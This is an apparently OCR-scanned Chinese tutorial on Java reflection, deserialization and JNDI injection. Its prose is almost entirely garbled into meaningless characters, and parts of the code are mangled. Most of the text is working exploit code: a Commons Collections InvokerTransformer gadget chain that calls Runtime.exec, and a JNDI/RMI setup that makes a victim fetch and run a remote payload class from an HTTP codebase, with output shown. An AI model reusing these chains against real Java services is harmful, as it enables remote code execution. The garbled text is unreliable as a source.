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ObjectZdfgetClass()HiEW,

MEXANEEZEZFREARE, UERBSNHEXH (javaR®ERMS, W TFEHNFA
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R BY 4 15 BR #

getConstructors()//3REXFR B 22 FF B9 9 1& X £X
getConstructor(Z LR )//REE DA FF B IE R
getDeclaredConstructors()/ /3R BXFT & # i& &K £
getDeclaredConstructor(Z# K8 )/ /KRB — 1 Fi A 81415 K &
KNBF

A REI LR,
getName()//3ABME®& Bl com.test.Demo

getSimpleName()//3KERk®& fla: Demo

RWAE

getMethods()//REXATE A F T E

R FE

getFields()//SRBMAMN A FFE
getField(String name)//Z 8 UIEE —TpublicFE
getDeclaredFields()//3REXFR B M FER

getDeclaredField(String name)//3REIEEMB RN FER
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BRiA K false, IRBENtrueZEAIAIFEFAE FE,
Field.setAccessible(true)// a5
Field.setAccessible(false)//AR A i}
MKEMethodZ£minvoke &

invoke(Object obj, Object... args) //{&5#object N E RS HIABIZXN I NH
Bk

TEBH—RRRMN
FKE—THEHENRGFERA, AAINRITETITESGL.,
public static void main(String args[]) throws ClassNotFoundException, NoSi
Class cls=Class.forName("java.lang.Runtime");
Method getruntime=cls.getMethod("getRuntime”, null);
Object runtime=getruntime.invoke(null);

Method exec=cls.getMethod("exec”,5tring.class);
exec.invoke(runtime, "calc");

B Class.forName SR X = T 8 X &, 1§ A getMethod 3% BY % Runtime B
getRuntimeZ &, Ainvoke1TH A, mERBFENMNTexecHEMTcalcn X,

WAEX, RREBAL, BL2ETNRERBDEME, HIMIXKEE.
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public class MySingleton {
private static MySingleton singleton = null;
private MySingleton() {
¥
public static synchronized MySingleton getSingleton() {
if( singleton == null ){
singleton = new MySingleton();

}
return singleton;
h

y
MySingleton singletonl=MySingleton.getSingleton();
MySingleton singleton2=MySingleton.getSingleton();
System.out.println(singletonl.toString());
System.out.println(singleton2.toString());

1

BITHER

=erminarted> LiassLoader 1est [Jav

MySingleton@339689752
MySingleton@339@89752

IWENHMEARZE, RTE, TUEBERBIWTEAMHNER, newl IR EREFAIEN
%, MWE, ENEMAREXITNER, E2EBIRE (REIHMABATMURE, XERR
k&) AAAEEEMprivate 53EBIEZ L4,

Constructor<MySingleton> constructor=MySingleton.class.getDeclaredConstructor(null);
constructor.setAccessible(true);

MySingleton singletonl= constructor.newInstance();

MySingleton singleton2= constructor.newInstance();
System.out.println(singletonl.toString());
System.out.println(singleton2.toString());

I
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i
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A

MySingleton@33909752
MySingleton@55+96382

FIUNBMNEBEMSAZNNERBZAMEAZECLZAEINR, IREMEINLER
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class MySingleton {
private static MySingleton singleton = null;
private MySingleton() {
if (singleton != null) m
throw new RuntimeException();
}

}
public static synchronized MySingleton getSingleton() {

if( singleton == null ){
singleton = new MySingleton();
h

return singleton;

58 % #R 3 - - - 8 1T /= 5Y R 58 B i BY BR

HMNMEZENSE_RMEMBIATSRERNER, EE2TFAMRIEH AT MR R GR
iill o

List<Integer> list = new ArraylList<Integer>();
list.add("123");

MEMERE.

Exception in thread "main" java.lang.Error: Unresolved compilation problem:
The method add(Integer) in the type List<Integer> is not applicable for the arguments (String)

at MysSingleton.addString(MySingleton.java:11)
at MySingleton.main(MySingleton.java:7)
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https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg 5/16



2020/7/27 JAVASERHIR R an ) B BB

class MySingleton {

public static veid main(String args[]) throws Exception {

addString();
¥

public static veoid addString() throws Exception {
Object obj =null;
List<Integer> list = new ArraylList<Integer:();
list.add(10);
Class clazz = list.getClass();
Method method = clazz.getMethod( "add", Object.class );

obj
ob3j

method.invoke( list, “"strl"™ );
method.invoke( list, "str2" );

for(Object 1 : list) {
System.out.println("val:"+1i);

¥

ZRUWT,

val:18
val:strl
val:str2

ZXMBEMNMFEAMEFRBERRLERSE, SRAEIMUNRT,

MARS#ENFTERE

MEBEMNEBEEELZIMUWENFIHRRENXE.

THREBEEBD LM

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer

""getMethod",

new Class[] {String.class, Class[].class },

new Object[] {"getRuntime", new Class([0] }

)
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new InvokerTransformer(

"invoke",

new Class[] {Object.class,Object[].class },

new Object[] {null, null }

)

new InvokerTransformer(

"exec" ,

new Class[] {Stringl[l.class },

new Object[] { commandstring }

//new Object[] { execArgs }

e
-

THEZInvokerTransformerZftransformAERIREL .

public O transform(Object input)
{
if (input == null) {
return null;

try
{
Class<?> cls = input.getClass():
Method method = cls.getMethod (this.iMethodName, this.iParamTypes):
return method.invoke (input, this.iArgs);
}
catch (NoSuchMethodException ex)
{
throw new FunctorException("InvokerTransformer: The method '™ + this.iMethodName + "' on '™ + input.getClass() + "' does not exist");
}
catch (IllegalAccessException ex)
{
throw new FunctorException(®"InvokerTransformer: The method "™ + this.iMethodName + "' on '™ + input.getClass() + "' cannot be accessed”);
}
catch (InvocationTargetException ex)
{
throw new FunctorException("InvokerTransformer: The method '™ + this.iMethodName + "' on '™ + input.getClass() + "' threw an exception”, ex);
}
}

ERE D
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Object[] argss=new Object[]{"getRuntime",null};

Method mm=(Method)Runtime.class.getClass().getMethod("getMethod", new Cl:

{String.class,Class[].class}).invoke(Runtime.class, argss);

BETHRITT:

Method mm=Runtime.class.getMethod('"getRuntime", null);

Runtime rr=(Runtime) mm.getClass().getMethod("invoke", new Class[]

{Object.class,0Object[].class}).invoke(mm,new Object[] {null,null} );

BETFTHRITT:

mm.invoke();

rr.getClass().getMethod("exec", new Class[] {String.class}).invoke(rr, "

HHEFHITTrr.exec("calc"); //rrEZ2RuntimeldRT, MARERuntimezk,

ConstantTransformerE G BEBRAEBHN —1TfinalZEEH, transform(fE

EObject) s REBITE,
FMAjd-guidkEdE—TChainedTransformerfJigEH13,

public class ChainedTransformer
implements Transformer, Serializable

{
private static final long serialVersionUID = 35149450747331€019€L;
private final Transformer([] iTransformers;
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public ChainedIransformer(Iransformer([] transformers)
{

this.iTransformers = transformers;

public Cbject transform(Object object)
{
for (int i = 0; i1 < this.iTransformers.length; i++) {
object = this.iTransformers[i].transform(object);
}
return object;

public Transformer(] getTransformers()

{

return this.iTransformers;

BALrMAIURMABRX—R, #HITRE, REKBUNT:

Transformer[] transformer=new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer('"getMethod", new Class|]

{String.class,Class[].class},new Object[]1{"getRuntime",null}),

new InvokerTransformer("invoke", new Class/[]

{Object.class,Object[].class}, new Object[] {null,null}),

new InvokerTransformer("exec", new Class[] {String.class}, new
Object[] {"calc.exe"})

¥

ChainedTransformer chainedTransformer=new ChainedTransformer(transformei

chainedTransformer.transform(Object.class);
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EX |, BIEIW T ConstantTransformerf45 5, FRIE RGN T Object.classH

M AH{E@Object, tb@null, new Object(),

XEHRTEAB TtransformBA i, AT EABIEAtransformBAENIT RETHEE?
BNMBL B LI AG I HtranformiVBIE,

SEEdEHLM:

AbstractinputCheckedMapDecorator® F:

I

public Object setValue (Object value)
{

value = this.parent.checkSetValue (value);
return this.entry.setValue (value):

}
}

TransformedMapz T:

protected Object checkSetValue (Object value)
{

return this.valuelransformer.transform(value);

public Object setValue(Object object) [
if(valueTransformer!=null) {
object =valueTransformer.transform(object);

}

return entry.setValue(object);

H

FRIAE 1 EZxHlvalueTransformerf{E N ChainTransformer3 &, % 33X NEN R
BEs.

public static Map decorate(Map map, Iransformer keyTransformer, Iransformer valusTransformesr)

{

return new IransformedMap (map, keyIransformer, valuelransformer);
}
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protected TransformedMap (Map map, Iransformer keyIransformer, Iransformer valueTransformer)
{

super (map) ;

this.keyIransformer = keyTransformer;

this.valueTransformer = valueTransformer;
}

FAAEMNEZIXT@RT, MEBEHEELFH, &

Map mp=new HashMap();

mp.put("ok", "notok"); // AtAlREEFNEHFsetValue

//XEdecorate 24, EIF(EH

Map dd=TransformedMap.decorate(mp, null, chainedTransformer);

// FIEnt ry X ER#EXT, feMap@Eidentry it \Set E£&, HEHE LM

Map.Entry entry=(Entry) dd.entrySet().iterator().next();

[/ BAEFIE, REER

entry.setValue("ok");

/I XEGTEEE, FIFEMAENKREHE, KRRIEIE, &REREAIUFBFICEZEL.

ERH--RFILRE

Java WEIHKEIE Java N EEBA v LRI FZFIFINIR, FEFEE
X, jvmAE, MENEHSE.,

HBEObjectOutputStreamzEf) writeObject() AERULMEINHIINEE., xR
’¥§U1KZE?E$E$%J¥§UE$E'|‘KEEJZ Java W&, REIIEODbjectinputStream EH
readObject() AL,
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asanzrazBAl, REAR

import java.io.Serializable;

public class Book implements Serializable{
public String name;
public String price;
E public void savhi()
{

System.out.println("This is "+this.name+" book™);

class MySingleton dimplements Serializable{

= public static void main(String[] args) throws IOException, ClassNotFoundException {
Book book = new Book();
book.name = "bookl™;

FileOutputStream out = new FileOutputStream("fiell");
ObjectOutputStream objout = new ObjectOutputStream(out);
objout.writeObject(book);

objout.close();

FileInputStream in = new FileInputStream(“Fiell")ﬂ
ObjectInputStream objin = new ObjectInputStream(in);
Book Sbook = (Book)objin.readObject();

Shook.sayhi();

objin.close();

ZRUT:

This is bookl book

XeFINHNRFINHCHIIE,

BRB[WB--RENTCBRR
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class MySingleton implements Serializable{
private wvoid readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNDtFDundExceptionm
System.out.println("X- | read0bjectiHEH4E");

i

public static wvoid main(String[] args) throws I0Exception, ClassMotFoundException {
byte[] serial=serialize(new MySingleton()});
deserial (serial);

¥

public static byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obi);
return out.toBytehArray();

¥

public static Object deserial(final byte[] serialize) throws IOException, ClassMotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialize);
ObjectInputStream objectIn = new ObjectInputStream(in);
return objectIn.readObject();

A PEﬂdDhjE;‘t?ﬁdﬁi -

REAEILINBE S readObjectH A, RFJIL/GreadObject EFHAMA, MAEE
R, RFEIACFNABANARARS,

JNDIEA
EEZUAMEBKERIRR, ERELRNAZR, FTEELIZEFE,

JNDURBRIE: ElookupZHAEMNIBERT, EIEAReferenceX B RHEFENI
%, YRR ARAENNBERRINEAXASE MINBSE P NclasspathBmEEHK, MER
FAEXMNBclass, MEaEFRENuritbit XML, WRBLMBFAINERS KM,

TCEHASE R ELR! )
JNDIXEHAFLEE—TRegistry
Server:

Registry registry = LocateRegistry.createRegistry(4399);
Reference rf = new Reference("ExecTest", "ExecTest", "http://172.20.10.2:8000/");//ExecTest.class
ReferencelWirapper refObjlirapper = new ReferencelWrapper(rf);

registry.bind("rf", refObjWrapper);
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Reference B EFH W EH TpayloadWiclassERIZM, UKRXNF B HWweb iR

%5, REWEEregistryf,
ExecTest:

static {
String cmd="ipconfig";
Process process=null;
try {
process = Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
¥
typelt(process.getInputStream());;
typeIt(process.getErrorStream());
}
private static void typelt(final InputStream input) {
new Thread (new Runnable(} {
public void run(} {
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;

try {
while ((line=bf.readlLine()})!=null)
{
System.out.println(line};
h

Ycatch (IO0Exception e){
e.printStackTrace();

¥
Fo1)-start();

XEEANBCpayload, HAMNGFSR, HERIT,

Fi javac -source 1.5 —target 1.5 ExecTest.java %8 i¥ B 1.5jdk kR & X #F 19
ExecTest.classFTHEXMH, E—YLYEZHZGEERRTIOMAERKEBREIERIR, 2B
=,

RNTRIEZEENRIY, BTN FHWbin/ExecTest.classX 4 MBIE, BIEIR T,
JNDISEME At classX B, MUEELEMMFEN A classXH, MR ENZRE
0.

BXEERFNOXGEHRADE, FEWebRS.
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Client:

String url = “Pmi:ffl?l.lﬂ.lﬂ.l:dBQQIPfr,
Context ctx = new InitialContext();
ctx.lookup(uri);

BhiFServer, iz4TClient, AAUER W T

mREIEExecTest.classX;

Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest]
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:437)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:99)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:185)
at javax.naming.InitialContext.lookup(InitialContext.java:351)
at CLIENT.main(CLIENT.java:15)
Caused by: java.lang.ClassCastException: ExecTest
at javax.naming.spi.MamingManager.getObjectFactoryFromReference(NamingManager.java:146)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:302)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:429)
. 4 more

dindows IP Configuration

Ethernet adapter LAZFd:

Media State . . . . . . . . . .. : Media disconnected
Connection-specific DNS Suffix

Ethernet adapter LAZRI 6:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Ethernet adapter vEthernet (Default Switch):

INMATE <

BEEERNERVLTNEZ1.6ATHRA, EENRALNEFTRES, BERIAMESE T, X
MBS, BRINFRRFMITFEBNCodebaseN#EReference T £, #alAima TR,

%

com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.obje

ct.trustURLCodebase@ 1 EBHYEIRE Ntrue,
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aae M Eaw Ve A gt i ] W oy e e L pe o
[/ /System.setProperty("com.sun.jndi.rmi.object. tPustURLCodebase")"true"};
//System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase”, "true™);

String uri = "rmi://172.20.10.2:4399/rf";
Context ctx = new InitialContext();
ctx.lookup(uri);

XELDAP + JNDIIBEXKLDAPr SRR ESH, FIELDAPR I LM ITAMGadget
TS

EREBABEBR--FIMXE, javalArmi (javaldrpchEMijavaikR) HEEFXLT
AEZ, L(LUATBWEIB, hTEREMIES, FRAWebRS: TWEFELX, XE&E
A TSOAPII, MWeblogicERMIEMNTIMER TTIMINFF, MUTERMI, 7T
fRjava Bl R EMNEHMEEL, REMSHE, TeEERE M.

BHEXELER, TYERWL, ERSAWELELEEENBKR, MEFRXRFRNAZFTT
M .
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